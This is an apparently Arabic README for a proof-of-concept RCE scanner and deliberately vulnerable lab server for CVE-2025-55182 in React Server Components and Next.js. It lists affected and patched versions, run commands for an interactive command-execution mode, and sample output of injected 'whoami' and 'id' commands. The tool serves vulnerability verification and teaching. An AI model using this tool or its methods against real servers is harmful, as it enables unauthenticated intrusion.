
CVE-2025-55182 React RCE برنامج اختبار
برنامج اختبار React RCE (CVE-2025-55182)
هذا البرنامج النصي هو أداة التحقق من الثغرات التي تستهدف CVE-2025-55182، وهي ثغرة خطيرة لتنفيذ التعليمات البرمجية عن بُعد (RCE) موجودة في مكونات خادم React (RSC) في React 19.x.
تحدد هذه الأداة ما إذا كانت الثغرة موجودة على خادم حقيقي، ويمكنها تنفيذ الأوامر، أو تسجيل السجلات، أو الاختبار باستخدام طريقة RCE ذات المرحلتين (module#_load) وفقًا للخيارات.
⚠️ يجب استخدام هذه الأداة فقط في بيئة اختبار مغلقة ولأغراض التدقيق الأمني والتحقق من الثغرات.
| البند | المحتوى |
|---|
| رقم الثغرة | CVE-2025-55182 (React) / CVE-2025-66478 (Next.js) |
| اسم الثغرة | React2Shell |
| نوع الثغرة | تنفيذ التعليمات البرمجية عن بُعد (RCE) – لا يتطلب مصادقة |
| الخطورة (CVSS) | 10.0 (حرج) |
| تاريخ الاكتشاف | 2025-11-29 (Lachlan Davidson) |
| صعوبة الهجوم | منخفضة جدًا (مستوى Log4Shell) |
| وصف الثغرة | ثغرة RCE هيكلية حيث يمكن الوصول إلى سلسلة النموذج الأولي (constructor، __proto__) عبر تدوين القوسين في دالة requireModule() أثناء معالجة إلغاء تسلسل Flight. |
| المنتج/الأداة | الإصدارات المتضررة | الإصدارات المصححة |
|---|---|---|
| React.js | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
| react-server-dom-webpack | نفس ما سبق (↑) | نفس ما سبق |
| react-server-dom-parcel | نفس ما سبق (↑) | نفس ما سبق |
| react-server-dom-turbopack | نفس ما سبق (↑) | نفس ما سبق |
| Next.js 14 | بعض الإصدارات من 14.3.0.canary.77 فما فوق | (بشكل غير رسمي) ينصح بالترقية إلى 15.0.5 أو أعلى |
| Next.js 15 | 15.0.0 ~ 15.5.6 | 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 15.6.0 |
| Next.js 16 | 16.0.0 ~ 16.0.6 | 16.0.7 |
| أدوات أخرى | React Router RSC, RedwoodJS, Vite RSC Plugin, Parcel RSC Plugin إلخ. | يتطلب تصحيح تبعية RSC للمشروع المعني. |
✅ المشاريع التي تحتوي على ميزات RSC يجب أيضًا ترقية وحدات
react-server-dom-*إلى أحدث إصدار بشكل منفصل عن React لضمان الأمان.
CVE-2025-55182/
├── README.md # نظرة عامة وتعليمات استخدام الماسح
├── DETECTION_RULES.md # مجموعة قواعد الكشف/المنع
├── 설명 및 탐지규칙.md # شرح قواعد الكشف بالكورية
├── cve_2025_55182_interactive.py # سكريبت ماسح التحقق من RCE
├── requirements.txt # قائمة تبعيات الماسح
├── setup_vulnerable_env.sh # سكريبت تثبيت البيئة الضعيفة دفعة واحدة
├── uninstall_vulnerable_env.sh # سكريبت تنظيف/إزالة البيئة الضعيفة
└── vulnerable-react-env/ # كود تدريبي لخادم React2Shell الضعيف
├── README.md # تعليمات استخدام بيئة التدريب
├── package.json # سكريبتات npm والتبعيات
├── server.js # الواجهة الخلفية Express الضعيفة
├── public/
│ └── index.html # واجهة React أمامية قائمة على CDN
└── .gitignore
✅ اختبار تفاعلي لمعرفة ما إذا كان RCE ممكنًا على خادم ضعيف
✅ دعم طريقة child_process#execSync (الافتراضية) أو module#_load
✅ حفظ نتائج تنفيذ الأوامر في ملف سجل
✅ إرسال أوامر النظام التي يدخلها المستخدم مباشرة إلى الخادم
git clone <this-repo>
cd <this-repo>
pip install -r requirements.txt
اختبار RCE الأساسي (طريقة execSync)
child_process.execSync()python cve_2025_55182_interactive.py http://localhost:3000 --rceاختبار RCE ذو المرحلتين (طريقة module#_load)
module#_loadpython cve_2025_55182_interactive.py http://localhost:3000 --rce --method moduleLoadاختبار RCE قائم على RSC (خيار --rce2)
python cve_2025_55182_interactive.py http://localhost:3000 --rce2حفظ نتائج تنفيذ الأوامر في سجل
python cve_2025_55182_interactive.py http://localhost:3000 --rce --log rce_output.logاستخدام جميع الوظائف (طريقة + سجل)
moduleLoad وحفظ السجلpython cve_2025_55182_interactive.py http://localhost:3000 --rce --method moduleLoad --log rce_output.logطباعة الحمولة لتصحيح الأخطاء
python cve_2025_55182_interactive.py http://localhost:3000 --rce --debugيحتوي المجلد vulnerable-react-env على خادم React + Express ضعيف عمدًا يمكنه إعادة إنتاج CVE-2025-55182.
./setup_vulnerable_env.sh لتثبيت حزم apt → تثبيت nvm/Node.js 20 → npm install دفعة واحدة.cd vulnerable-react-env && npm start أو npm run dev.npm run فقط، فسيتم عرض قائمة السكريبتات فقط. تأكد من تحديد اسم السكريبت مثل npm start (أو npm run start)../uninstall_vulnerable_env.sh لإزالة node_modules، والحمولة moduleLoad، و(اختياريًا) Node 20 و nvm.ERR_MODULE_NOT_FOUND: Cannot find package 'express'، قم بتشغيل cd vulnerable-react-env && npm install لتثبيت node_modules ثم أعد تشغيل npm start.sudo apt update && sudo apt install -y curl build-essentialcurl -fsSL https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh -o /tmp/install_nvm.sh && bash /tmp/install_nvm.shnvm install 20 && nvm use 20cd vulnerable-react-env && npm installnpm start (المنفذ الافتراضي: 3000)http://localhost:3000 في المتصفح، أرسل _payload و cmd عبر النموذجvulnerable-react-env/README.md لإعادة إنتاج تدفق RCE⚠️ يُمنع الاستخدام لأغراض غير البحث/التعليم. لا تعرضه للإنترنت.
💬 أمر النظام المراد إدخاله: whoami
✅ رمز الاستجابة: 200
📄 محتوى الاستجابة: {"success":true,"result":"www-data"}
💬 أمر النظام المراد إدخاله: id
✅ رمز الاستجابة: 200
📄 محتوى الاستجابة: {"success":true,"result":"uid=1000(hacker) gid=1000(hacker)"}
💬 أمر النظام المراد إدخاله: exit
👋 يتم الإنهاء.
❌ لا تستخدمه أبدًا في بيئة إنتاج.
✅ يجب استخدام هذا السكريبت فقط في بيئة اختبار محلية أو جهاز افتراضي معزول.
🛠️ طريقة --method moduleLoad تنشئ ملفًا حقيقيًا /tmp/evil.js.
🧾 عند استخدام خيار --log، يتم حفظ المخرجات كنص عادي، لذا قيّد الوصول إلى الملف.
🔐 تتحقق جميع الطلبات من تنفيذ كود JavaScript فعلي على الخادم الضعيف.
CVE الرسمي: CVE-2025-55182
طرق الاستغلال:
تدفق الهجوم:
هذا المشروع مقدم فقط لأغراض البحث الأمني، التدقيق، والاختبار،
والاستخدام غير المصرح به على الأنظمة الحقيقية غير قانوني.
جميع المسؤوليات القانونية الناتجة عن استخدام هذه الأداة تقع على عاتق المستخدم نفسه.